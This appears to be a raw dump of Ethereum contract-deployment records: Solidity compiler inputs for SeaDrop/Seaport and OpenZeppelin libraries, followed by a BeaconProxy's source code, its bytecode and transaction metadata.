the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "src/lib/ERC721SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n" } }, "settings": { "remappings": [ "forge-std/=lib/forge-std/src/", "ds-test/=lib/forge-std/lib/ds-test/src/", "ERC721A/=lib/ERC721A/contracts/", "ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/", "@rari-capital/solmate/=lib/seaport/lib/solmate/", "murky/=lib/murky/src/", "create2-scripts/=lib/create2-helpers/script/", "seadrop/=src/", "seaport-sol/=lib/seaport/lib/seaport-sol/", "seaport-types/=lib/seaport/lib/seaport-types/", "seaport-core/=lib/seaport/lib/seaport-core/", "seaport-test-utils/=lib/seaport/test/foundry/utils/", "solady/=lib/solady/" ], "optimizer": { "enabled": true, "runs": 99999999 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "none", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "libraries": {} } }}
1
19,493,239
812dffd979f9aae18db3ab54f3ae143ef51442f3d49ec0a90e05e949830b407a
bb6251404dde2e0e1e4e6592acd48d2a2bccf86d80fd21269406c14c10efaa30
83255b06dc6377d097eadd9ada0f69112dd79509
7335db10622eecdeffadaee7f2454e37aedf7002
c8fef2546f8f3f6fcc0ef2fb416367c1c0e97d01
60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c6343000811003300000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b
6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033
{{ "language": "Solidity", "sources": { "@openzeppelin/contracts/proxy/beacon/IBeacon.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n" }, "@openzeppelin/contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n" }, "contracts/utils/BeaconProxy.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact [email protected]\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "viaIR": true, "debug": { "revertStrings": "strip" }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,493,239
812dffd979f9aae18db3ab54f3ae143ef51442f3d49ec0a90e05e949830b407a
bb6251404dde2e0e1e4e6592acd48d2a2bccf86d80fd21269406c14c10efaa30
83255b06dc6377d097eadd9ada0f69112dd79509
7335db10622eecdeffadaee7f2454e37aedf7002
56cae9937f22c460072583289f28fb93e93128b4
60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea172
6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033
